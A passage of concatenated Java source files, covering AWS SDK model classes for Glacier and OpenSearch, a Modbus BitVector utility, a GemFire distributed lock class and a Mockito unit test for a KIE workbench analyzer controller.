* The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
* </p>
*/
private String sNSTopic;
/**
* <p>
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon SNS
* topic.
* </p>
*/
private java.util.List<String> events;
/**
* Default constructor for VaultNotificationConfig object. Callers should use the setter or fluent setter (with...)
* methods to initialize the object after creating it.
*/
public VaultNotificationConfig() {
}
/**
* Constructs a new VaultNotificationConfig object. Callers should use the setter or fluent setter (with...) methods
* to initialize any additional object members.
*
* @param sNSTopic
* The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
* @param events
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon
* SNS topic.
*/
public VaultNotificationConfig(String sNSTopic, java.util.List<String> events) {
setSNSTopic(sNSTopic);
setEvents(events);
}
/**
* <p>
* The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
* </p>
*
* @param sNSTopic
* The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
*/
public void setSNSTopic(String sNSTopic) {
this.sNSTopic = sNSTopic;
}
/**
* <p>
* The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
* </p>
*
* @return The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
*/
public String getSNSTopic() {
return this.sNSTopic;
}
/**
* <p>
* The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
* </p>
*
* @param sNSTopic
* The Amazon Simple Notification Service (Amazon SNS) topic Amazon Resource Name (ARN).
* @return Returns a reference to this object so that method calls can be chained together.
*/
public VaultNotificationConfig withSNSTopic(String sNSTopic) {
setSNSTopic(sNSTopic);
return this;
}
/**
* <p>
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon SNS
* topic.
* </p>
*
* @return A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon
* SNS topic.
*/
public java.util.List<String> getEvents() {
return events;
}
/**
* <p>
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon SNS
* topic.
* </p>
*
* @param events
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon
* SNS topic.
*/
public void setEvents(java.util.Collection<String> events) {
if (events == null) {
this.events = null;
return;
}
this.events = new java.util.ArrayList<String>(events);
}
/**
* <p>
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon SNS
* topic.
* </p>
* <p>
* <b>NOTE:</b> This method appends the values to the existing list (if any). Use
* {@link #setEvents(java.util.Collection)} or {@link #withEvents(java.util.Collection)} if you want to override the
* existing values.
* </p>
*
* @param events
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon
* SNS topic.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public VaultNotificationConfig withEvents(String... events) {
if (this.events == null) {
setEvents(new java.util.ArrayList<String>(events.length));
}
for (String ele : events) {
this.events.add(ele);
}
return this;
}
/**
* <p>
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon SNS
* topic.
* </p>
*
* @param events
* A list of one or more events for which Amazon S3 Glacier will send a notification to the specified Amazon
* SNS topic.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public VaultNotificationConfig withEvents(java.util.Collection<String> events) {
setEvents(events);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getSNSTopic() != null)
sb.append("SNSTopic: ").append(getSNSTopic()).append(",");
if (getEvents() != null)
sb.append("Events: ").append(getEvents());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof VaultNotificationConfig == false)
return false;
VaultNotificationConfig other = (VaultNotificationConfig) obj;
if (other.getSNSTopic() == null ^ this.getSNSTopic() == null)
return false;
if (other.getSNSTopic() != null && other.getSNSTopic().equals(this.getSNSTopic()) == false)
return false;
if (other.getEvents() == null ^ this.getEvents() == null)
return false;
if (other.getEvents() != null && other.getEvents().equals(this.getEvents()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getSNSTopic() == null) ? 0 : getSNSTopic().hashCode());
hashCode = prime * hashCode + ((getEvents() == null) ? 0 : getEvents().hashCode());
return hashCode;
}
@Override
public VaultNotificationConfig clone() {
try {
return (VaultNotificationConfig) super.clone();
} catch (CloneNotSupportedException e) {
throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e);
}
}
@com.amazonaws.annotation.SdkInternalApi
@Override
public void marshall(ProtocolMarshaller protocolMarshaller) {
com.amazonaws.services.glacier.model.transform.VaultNotificationConfigMarshaller.getInstance().marshall(this, protocolMarshaller);
}
}
| |
//License
/***
* Java Modbus Library (jamod)
* Copyright (c) 2002-2004, jamod development team
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* Neither the name of the author nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS ``AS
* IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
***/
package com.ghgande.j2mod.modbus.util;
/**
* Class that implements a collection for
* bits, storing them packed into bytes.
* Per default the access operations will index from
* the LSB (rightmost) bit.
*
* @author Dieter Wimberger
* @version 1.2rc1 (09/11/2004)
*/
public final class BitVector {
//instance attributes
private int m_Size;
private byte[] m_Data;
private boolean m_MSBAccess = false;
/**
* Constructs a new <tt>BitVector</tt> instance
* with a given size.
* <p>
* @param size the number of bits the <tt>BitVector</tt>
* should be able to hold.
*/
public BitVector(int size) {
//store bits
m_Size = size;
//calculate size in bytes
if ((size % 8) > 0) {
size = (size / 8) + 1;
} else {
size = (size / 8);
}
m_Data = new byte[size];
}//constructor
/**
* Toggles the flag deciding whether the LSB
* or the MSB of the byte corresponds to the
* first bit (index=0).
*
* @param b true if LSB=0 up to MSB=7, false otherwise.
*/
public void toggleAccess(boolean b) {
m_MSBAccess = !m_MSBAccess;
}//toggleAccess
/**
* Tests if this <tt>BitVector</tt> has
* the LSB (rightmost) as the first bit
* (i.e. at index 0).
*
* @return true if LSB=0 up to MSB=7, false otherwise.
*/
public boolean isLSBAccess() {
return !m_MSBAccess;
}//isLSBAccess
/**
* Tests if this <tt>BitVector</tt> has
* the MSB (leftmost) as the first bit
* (i.e. at index 0).
*
* @return true if LSB=0 up to MSB=7, false otherwise.
*/
public boolean isMSBAccess() {
return m_MSBAccess;
}//isMSBAccess
/**
* Returns the <tt>byte[]</tt> which is used to store
* the bits of this <tt>BitVector</tt>.
* <p>
* @return the <tt>byte[]</tt> used to store the bits.
*/
public final byte[] getBytes() {
return m_Data;
}//getBytes
/**
* Sets the <tt>byte[]</tt> which stores
* the bits of this <tt>BitVector</tt>.
* <p>
* @param data a <tt>byte[]</tt>.
*/
public final void setBytes(byte[] data) {
System.arraycopy(data, 0, m_Data, 0, data.length);
}//setBytes
/**
* Sets the <tt>byte[]</tt> which stores
* the bits of this <tt>BitVector</tt>.
* <p>
* @param data a <tt>byte[]</tt>.
*/
public final void setBytes(byte[] data, int size) {
System.arraycopy(data, 0, m_Data, 0, data.length);
m_Size = size;
}//setBytes
/**
* Returns the state of the bit at the given index of this
* <tt>BitVector</tt>.
* <p>
* @param index the index of the bit to be returned.
*
* @return true if the bit at the specified index is set,
* false otherwise.
*
* @throws IndexOutOfBoundsException if the index is out of bounds.
*/
public final boolean getBit(int index)
throws IndexOutOfBoundsException {
index = translateIndex(index);
//System.out.println("Get bit #" + index);
return (
(m_Data[byteIndex(index)]
& (0x01 << bitIndex(index))) != 0
) ? true : false;
}//getBit
/**
* Sets the state of the bit at the given index of
* this <tt>BitVector</tt>.
* <p>
* @param index the index of the bit to be set.
* @param b true if the bit should be set, false if it should be reset.
*
* @throws IndexOutOfBoundsException if the index is out of bounds.
*/
public final void setBit(int index, boolean b)
throws IndexOutOfBoundsException {
index = translateIndex(index);
//System.out.println("Set bit #"+index);
int value = ((b) ? 1 : 0);
int byteNum = byteIndex(index);
int bitNum = bitIndex(index);
m_Data[byteNum] = (byte) (
(m_Data[byteNum] & ~(0x01 << bitNum))
| ((value & 0x01) << bitNum)
);
}//setBit
/**
* Returns the number of bits in this <tt>BitVector</tt>
* as <tt>int</tt>.
* <p>
* @return the number of bits in this <tt>BitVector</tt>.
*/
public final int size() {
return m_Size;
}//size
/**
* Forces the number of bits in this <tt>BitVector</tt>.
*
* @param size
* @throws IllegalArgumentException if the size exceeds
* the byte[] store size multiplied by 8.
*/
public final void forceSize(int size) {
if(size > m_Data.length * 8) {
throw new IllegalArgumentException("Size exceeds byte[] store.");
} else {
m_Size = size;
}
}//forceSize
/**
* Returns the number of bytes used to store the
* collection of bits as <tt>int</tt>.
* <p>
* @return the number of bits in this <tt>BitVector</tt>.
*/
public final int byteSize() {
return m_Data.length;
}//byteSize
/**
* Returns a <tt>String</tt> representing the
* contents of the bit collection in a way that
* can be printed to a screen or log.
* <p>
* Note that this representation will <em>ALLWAYS</em>
* show the MSB to the left and the LSB to the right
* in each byte.
*
* @return a <tt>String</tt> representing this <tt>BitVector</tt>.
*/
public String toString() {
StringBuffer sbuf = new StringBuffer();
for (int i = 0; i < size(); i++) {
int idx = doTranslateIndex(i);
sbuf.append(
((((m_Data[byteIndex(idx)]
& (0x01 << bitIndex(idx))) != 0
) ? true : false) ? '1' : '0')
);
if (((i + 1) % 8) == 0) {
sbuf.append(" ");
}
}
return sbuf.toString();
}//toString
/**
* Returns the index of the byte in the the byte array
* that contains the given bit.
* <p>
* @param index the index of the bit.
*
* @return the index of the byte where the given bit is stored.
*
* @throws IndexOutOfBoundsException if index is
* out of bounds.
*/
private final int byteIndex(int index)
throws IndexOutOfBoundsException {
if (index < 0 || index >= m_Data.length * 8) {
throw new IndexOutOfBoundsException();
} else {
return index / 8;
}
}//byteIndex
/**
* Returns the index of the given bit in the byte
* where it it stored.
* <p>
* @param index the index of the bit.
*
* @return the bit index relative to the position in the byte
* that stores the specified bit.
*
* @throws IndexOutOfBoundsException if index is
* out of bounds.
*/
private final int bitIndex(int index)
throws IndexOutOfBoundsException {
if (index < 0 || index >= m_Data.length * 8) {
throw new IndexOutOfBoundsException();
} else {
return index % 8;
}
}//bitIndex
private final int translateIndex(int idx) {
if (m_MSBAccess) {
int mod4 = idx % 4;
int div4 = idx / 4;
if ((div4 % 2) != 0) {
//odd
return (idx + ODD_OFFSETS[mod4]);
} else {
//straight
return (idx + STRAIGHT_OFFSETS[mod4]);
}
} else {
return idx;
}
}//translateIndex
private static final int doTranslateIndex(int idx) {
int mod4 = idx % 4;
int div4 = idx / 4;
if ((div4 % 2) != 0) {
//odd
return (idx + ODD_OFFSETS[mod4]);
} else {
//straight
return (idx + STRAIGHT_OFFSETS[mod4]);
}
}//translateIndex
/**
* Factory method for creating a <tt>BitVector</tt> instance
* wrapping the given byte data.
*
* @param data a byte[] containing packed bits.
* @return the newly created <tt>BitVector</tt> instance.
*/
public static BitVector createBitVector(byte[] data, int size) {
BitVector bv = new BitVector(data.length * 8);
bv.setBytes(data);
bv.m_Size = size;
return bv;
}//createBitVector
/**
* Factory method for creating a <tt>BitVector</tt> instance
* wrapping the given byte data.
*
* @param data a byte[] containing packed bits.
* @return the newly created <tt>BitVector</tt> instance.
*/
public static BitVector createBitVector(byte[] data) {
BitVector bv = new BitVector(data.length * 8);
bv.setBytes(data);
return bv;
}//createBitVector
public static void main(String[] args) {
BitVector test = new BitVector(24);
System.out.println(test.isLSBAccess());
test.setBit(7, true);
System.out.println(test.getBit(7));
test.toggleAccess(true);
System.out.println(test.getBit(7));
test.toggleAccess(true);
test.setBit(6, true);
test.setBit(3, true);
test.setBit(2, true);
test.setBit(0, true);
test.setBit(8,true);
test.setBit(10,true);
System.out.println(test);
test.toggleAccess(true);
System.out.println(test);
test.toggleAccess(true);
System.out.println(test);
System.out.println(ModbusUtil.toHex(test.getBytes()));
}
private static final int[] ODD_OFFSETS = {-1, -3, -5, -7};
private static final int[] STRAIGHT_OFFSETS = {7, 5, 3, 1};
}//class BitVector
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.gemstone.gemfire.distributed.internal.locks;
import java.io.Serializable;
import com.gemstone.gemfire.distributed.DistributedLockService;
import com.gemstone.gemfire.distributed.internal.locks.DLockService.ThreadRequestState;
import com.gemstone.gemfire.distributed.internal.DM;
import com.gemstone.gemfire.internal.Assert;
import com.gemstone.gemfire.internal.i18n.LocalizedStrings;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
/**
* Distributed lock which is owned by a member rather than a single thread.
* Any thread within the {@link
* com.gemstone.gemfire.distributed.DistributedMember} may unlock a held
* <code>DistributedMemberLock</code>.
*
* While this member holds the lock, another member will not be able to
* acquire it. Any thread within this member may reenter or unlock the
* lock.
*
* Operations delegate to {@link
* com.gemstone.gemfire.distributed.DistributedLockService} and may throw
* LockNotHeldException or LockServiceDestroyedException.
*
* @author Kirk Lund
* @since 5.1
*/
public final class DistributedMemberLock implements Lock {
/** Lock lease timeout value that never expires. */
public static final long NON_EXPIRING_LEASE = -1;
/**
* Defines the behavior when attempting to reenter a held lock.
*
* @author Kirk Lund
*/
public enum LockReentryPolicy {
/** Allows lock reentry */
ALLOW,
/** Throws error if lock reentry is attempted */
THROW_ERROR,
/** Silently returns without doing anything if lock reentry is attempted */
PREVENT_SILENTLY;
/**
* Returns true if lock reentry should be rejected.
*
* @param lock the lock that reentry is being attempted on
* @return true if lock reentry should be rejected
* @throws IllegalStateException if reentry policy is NONREENTRANT_ERROR
*/
boolean preventReentry(DistributedMemberLock lock) {
switch (this) {
case ALLOW:
return false; // allow
case THROW_ERROR:
throw new IllegalStateException("Attempted to reenter held lock " + lock);
case PREVENT_SILENTLY:
return true; // reject
}
throw new AssertionError("Unknown LockReentryPolicy: " + this);
}
@Override
public String toString() {
String myToString = "Unknown";
switch (this) {
case ALLOW:
myToString = "ALLOW";
break;
case THROW_ERROR:
myToString = "THROW_ERROR";
break;
case PREVENT_SILENTLY:
myToString = "PREVENT_SILENTLY";
break;
default:
// leave as "Unknown"
}
return myToString;
}
}
/** Underlying distributed lock service to use */
final DLockService dls;
/** The name of the key for this lock */
final Serializable key;
/** The lease in milliseconds to hold the lock*/
final long leaseTimeout;
/** Defines the behavior if lock reentry is attempted */
final LockReentryPolicy reentryPolicy;
/** Thread identity so that all caller threads appear as the same to dlock */
final ThreadRequestState threadState;
/**
* Constructs a new <code>DistributedMemberLock</code>.
* @param dls the instance of <code>DistributedLockService</code> to use
* @param key name of the key for this lock
* @throws NullPointerException if dls or key is null
*/
public DistributedMemberLock(DistributedLockService dls, Serializable key) {
this(dls, key, NON_EXPIRING_LEASE, LockReentryPolicy.ALLOW);
}
/**
* Constructs a new <code>DistributedMemberLock</code>.
* @param dls the instance of <code>DistributedLockService</code> to use
* @param key name of the key for this lock
* @param leaseTimeout number of milliseconds to hold a lock before
* automatically releasing it
* @param reentryPolicy defines behavior for lock reentry
* @throws NullPointerException if dls or key is null
*/
public DistributedMemberLock(DistributedLockService dls, Serializable key,
long leaseTimeout, LockReentryPolicy reentryPolicy) {
if (dls == null || key == null) {
throw new NullPointerException();
}
this.dls = (DLockService)dls;
this.key = key;
this.leaseTimeout = leaseTimeout;
this.reentryPolicy = reentryPolicy;
RemoteThread rThread =
new RemoteThread(getDM().getId(), this.dls.incThreadSequence());
this.threadState =
new ThreadRequestState(rThread.getThreadId(), true);
}
public synchronized void lock() {
executeOperation(new Operation() {
public boolean operate() {
if (holdsLock() &&
reentryPolicy.preventReentry(DistributedMemberLock.this)) {
return true;
}
boolean locked = dls.lock(key, -1, leaseTimeout);
Assert.assertTrue(locked, "Failed to lock " + toString());
return locked;
}
});
}
public synchronized void lockInterruptibly()
throws InterruptedException {
executeOperationInterruptibly(new Operation() {
public boolean operate() throws InterruptedException {
if (holdsLock() &&
reentryPolicy.preventReentry(DistributedMemberLock.this)) {
return true;
}
boolean locked = dls.lockInterruptibly(key, -1, leaseTimeout);
Assert.assertTrue(locked, "Failed to lockInterruptibly " + this);
return locked;
}
});
}
public synchronized boolean tryLock() {
return executeOperation(new Operation() {
public boolean operate() {
if (holdsLock() &&
reentryPolicy.preventReentry(DistributedMemberLock.this)) {
return true;
}
return dls.lock(key, 0, leaseTimeout);
}
});
}
public synchronized boolean tryLock(final long time, final TimeUnit unit)
throws InterruptedException {
return executeOperationInterruptibly(new Operation() {
public boolean operate() throws InterruptedException {
if (holdsLock() &&
reentryPolicy.preventReentry(DistributedMemberLock.this)) {
return true;
}
return dls.lockInterruptibly(
key, getLockTimeoutForLock(time, unit), leaseTimeout);
}
});
}
public synchronized void unlock() {
executeOperation(new Operation() {
public boolean operate() {
dls.unlock(key);
return true;
}
});
}
public synchronized boolean holdsLock() {
return executeOperation(new Operation() {
public boolean operate() {
return dls.isHeldByThreadId(key, threadState.threadId);
}
});
}
private boolean executeOperationInterruptibly(Operation lockOp)
throws InterruptedException {
return doExecuteOperation(lockOp, true);
}
private boolean executeOperation(Operation lockOp) {
for (;;) {
this.dls.getCancelCriterion().checkCancelInProgress(null);
boolean interrupted = Thread.interrupted();
try {
return doExecuteOperation(lockOp, false);
}
catch (InterruptedException e) {
interrupted = true;
continue; // keep trying
}
finally {
if (interrupted) {
Thread.currentThread().interrupt();
}
}
} // for
}
private boolean doExecuteOperation(Operation lockOp, boolean interruptible)
throws InterruptedException {
ThreadRequestState oldThreadState = (ThreadRequestState)
this.dls.getThreadRequestState().get();
try {
this.threadState.interruptible = interruptible;
this.dls.getThreadRequestState().set(this.threadState);
return lockOp.operate();
}
finally {
this.threadState.interruptible = false;
this.dls.getThreadRequestState().set(oldThreadState);
}
}
private DM getDM() {
return this.dls.getDistributionManager();
}
long getLockTimeoutForLock(long time, TimeUnit unit) {
if (time == -1) {
return -1;
}
return TimeUnit.MILLISECONDS.convert(time, unit);
}
@Override
public String toString() {
String identity = super.toString();
identity = identity.substring(identity.lastIndexOf(".")+1);
final StringBuffer sb = new StringBuffer("[" + identity + ": ");
sb.append("dls=").append(this.dls.getName());
sb.append("key=").append(this.key);
sb.append("]");
return sb.toString();
}
private interface Operation {
public boolean operate() throws InterruptedException;
}
public Condition newCondition() {
throw new UnsupportedOperationException(LocalizedStrings.DistributedMemberLock_NOT_IMPLEMENTED.toLocalizedString());
}
}
| |
/*
* Copyright 2018 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.kie.workbench.common.services.verifier.reporting.client.controller;
import java.util.ArrayList;
import com.google.gwt.event.shared.EventBus;
import com.google.gwt.event.shared.HandlerRegistration;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.kie.workbench.common.services.verifier.reporting.client.analysis.DecisionTableAnalyzer;
import org.kie.workbench.common.widgets.decoratedgrid.client.widget.CellValue;
import org.kie.workbench.common.widgets.decoratedgrid.client.widget.data.Coordinate;
import org.kie.workbench.common.widgets.decoratedgrid.client.widget.events.AppendRowEvent;
import org.kie.workbench.common.widgets.decoratedgrid.client.widget.events.DeleteRowEvent;
import org.kie.workbench.common.widgets.decoratedgrid.client.widget.events.InsertRowEvent;
import org.kie.workbench.common.widgets.decoratedgrid.client.widget.events.UpdateColumnDataEvent;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
@RunWith(MockitoJUnitRunner.class)
public class AnalyzerControllerImplTest {
@Mock
DecisionTableAnalyzer analyzer;
@Mock
EventBus eventBus;
private AnalyzerControllerImpl controller;
@Before
public void setUp() throws Exception {
controller = new AnalyzerControllerImpl(analyzer,
eventBus);
}
@Test
public void doNotSetUpHandlersDuringConstruction() throws
Exception {
verify(eventBus,
never()).addHandler(ValidateEvent.TYPE,
controller);
verify(eventBus,
never()).addHandler(DeleteRowEvent.TYPE,
controller);
verify(eventBus,
never()).addHandler(AfterColumnDeleted.TYPE,
controller);
verify(eventBus,
never()).addHandler(UpdateColumnDataEvent.TYPE,
controller);
verify(eventBus,
never()).addHandler(AppendRowEvent.TYPE,
controller);
verify(eventBus,
never()).addHandler(InsertRowEvent.TYPE,
controller);
verify(eventBus,
never()).addHandler(AfterColumnInserted.TYPE,
controller);
}
@Test
public void areHandlersAreSetUpOnInit() throws
Exception {
controller.initialiseAnalysis();
verify(eventBus).addHandler(ValidateEvent.TYPE,
controller);
verify(eventBus).addHandler(DeleteRowEvent.TYPE,
controller);
verify(eventBus).addHandler(AfterColumnDeleted.TYPE,
controller);
verify(eventBus).addHandler(UpdateColumnDataEvent.TYPE,
controller);
verify(eventBus).addHandler(AppendRowEvent.TYPE,
controller);
verify(eventBus).addHandler(InsertRowEvent.TYPE,
controller);
verify(eventBus).addHandler(AfterColumnInserted.TYPE,
controller);
}
@Test
public void areHandlersTornDownOnTerminate() throws
Exception {
final HandlerRegistration validateEvent = mock(HandlerRegistration.class);
when(eventBus.addHandler(ValidateEvent.TYPE,
controller)).thenReturn(validateEvent);
final HandlerRegistration deleteRowEvent = mock(HandlerRegistration.class);
when(eventBus.addHandler(DeleteRowEvent.TYPE,
controller)).thenReturn(deleteRowEvent);
final HandlerRegistration afterColumnDeleted = mock(HandlerRegistration.class);
when(eventBus.addHandler(AfterColumnDeleted.TYPE,
controller)).thenReturn(afterColumnDeleted);
final HandlerRegistration updateColumnDataEvent = mock(HandlerRegistration.class);
when(eventBus.addHandler(UpdateColumnDataEvent.TYPE,
controller)).thenReturn(updateColumnDataEvent);
final HandlerRegistration appendRowEvent = mock(HandlerRegistration.class);
when(eventBus.addHandler(AppendRowEvent.TYPE,
controller)).thenReturn(appendRowEvent);
final HandlerRegistration insertRowEvent = mock(HandlerRegistration.class);
when(eventBus.addHandler(InsertRowEvent.TYPE,
controller)).thenReturn(insertRowEvent);
final HandlerRegistration afterColumnInserted = mock(HandlerRegistration.class);
when(eventBus.addHandler(AfterColumnInserted.TYPE,
controller)).thenReturn(afterColumnInserted);
controller.initialiseAnalysis();
controller.terminateAnalysis();
verify(validateEvent).removeHandler();
verify(deleteRowEvent).removeHandler();
verify(afterColumnDeleted).removeHandler();
verify(updateColumnDataEvent).removeHandler();
verify(appendRowEvent).removeHandler();
verify(insertRowEvent).removeHandler();
verify(afterColumnDeleted).removeHandler();
}
@Test
public void start() throws Exception {
controller.initialiseAnalysis();
verify(analyzer).activate();
}
@Test
public void terminate() throws Exception {
controller.terminateAnalysis();
verify(analyzer).terminate();
}
@Test
public void analyze() throws Exception {
final ArrayList<Coordinate> updates = new ArrayList<>();
controller.onValidate(new ValidateEvent(updates));
verify(analyzer).analyze(updates);
}
@Test
public void deleteColumns() throws Exception {
controller.onAfterDeletedColumn(new AfterColumnDeleted(1,
2));
verify(analyzer).deleteColumns(1,
2);
}
@Test
public void appendRow() throws Exception {
controller.onAppendRow(new AppendRowEvent());
verify(analyzer).appendRow();
}
@Test
public void deleteRow() throws Exception {
controller.onDeleteRow(new DeleteRowEvent(10));
verify(analyzer).deleteRow(10);
}
@Test
public void insertRow() throws Exception {
controller.onInsertRow(new InsertRowEvent(10));
verify(analyzer).insertRow(10);
}
@Test
public void updateColumns() throws Exception {
final ArrayList<CellValue<? extends Comparable<?>>> columnData = new ArrayList<>();
columnData.add(mock(CellValue.class));
controller.onUpdateColumnData(new UpdateColumnDataEvent(10,
columnData));
verify(analyzer).updateColumns(1);
}
}
| |
/*
* Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.opensearch.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.AmazonWebServiceRequest;
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class ListInstanceTypeDetailsRequest extends com.amazonaws.AmazonWebServiceRequest implements Serializable, Cloneable {
private String engineVersion;
private String domainName;
private Integer maxResults;
private String nextToken;
/**
* @param engineVersion
*/
public void setEngineVersion(String engineVersion) {
this.engineVersion = engineVersion;
}
/**
* @return
*/
public String getEngineVersion() {
return this.engineVersion;
}
/**
* @param engineVersion
* @return Returns a reference to this object so that method calls can be chained together.
*/
public ListInstanceTypeDetailsRequest withEngineVersion(String engineVersion) {
setEngineVersion(engineVersion);
return this;
}
/**
* @param domainName
*/
public void setDomainName(String domainName) {
this.domainName = domainName;
}
/**
* @return
*/
public String getDomainName() {
return this.domainName;
}
/**
* @param domainName
* @return Returns a reference to this object so that method calls can be chained together.
*/
public ListInstanceTypeDetailsRequest withDomainName(String domainName) {
setDomainName(domainName);
return this;
}
/**
* @param maxResults
*/
public void setMaxResults(Integer maxResults) {
this.maxResults = maxResults;
}
/**
* @return
*/
public Integer getMaxResults() {
return this.maxResults;
}
/**
* @param maxResults
* @return Returns a reference to this object so that method calls can be chained together.
*/
public ListInstanceTypeDetailsRequest withMaxResults(Integer maxResults) {
setMaxResults(maxResults);
return this;
}
/**
* @param nextToken
*/
public void setNextToken(String nextToken) {
this.nextToken = nextToken;
}
/**
* @return
*/
public String getNextToken() {
return this.nextToken;
}
/**
* @param nextToken
* @return Returns a reference to this object so that method calls can be chained together.
*/
public ListInstanceTypeDetailsRequest withNextToken(String nextToken) {
setNextToken(nextToken);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getEngineVersion() != null)
sb.append("EngineVersion: ").append(getEngineVersion()).append(",");
if (getDomainName() != null)
sb.append("DomainName: ").append(getDomainName()).append(",");
if (getMaxResults() != null)
sb.append("MaxResults: ").append(getMaxResults()).append(",");
if (getNextToken() != null)
sb.append("NextToken: ").append(getNextToken());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof ListInstanceTypeDetailsRequest == false)
return false;
ListInstanceTypeDetailsRequest other = (ListInstanceTypeDetailsRequest) obj;
if (other.getEngineVersion() == null ^ this.getEngineVersion() == null)
return false;
if (other.getEngineVersion() != null && other.getEngineVersion().equals(this.getEngineVersion()) == false)
return false;
if (other.getDomainName() == null ^ this.getDomainName() == null)
return false;
if (other.getDomainName() != null && other.getDomainName().equals(this.getDomainName()) == false)
return false;
if (other.getMaxResults() == null ^ this.getMaxResults() == null)
return false;
if (other.getMaxResults() != null && other.getMaxResults().equals(this.getMaxResults()) == false)
return false;
if (other.getNextToken() == null ^ this.getNextToken() == null)
return false;
if (other.getNextToken() != null && other.getNextToken().equals(this.getNextToken()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getEngineVersion() == null) ? 0 : getEngineVersion().hashCode());
hashCode = prime * hashCode + ((getDomainName() == null) ? 0 : getDomainName().hashCode());
hashCode = prime * hashCode + ((getMaxResults() == null) ? 0 : getMaxResults().hashCode());
hashCode = prime * hashCode + ((getNextToken() == null) ? 0 : getNextToken().hashCode());
return hashCode;
}
@Override
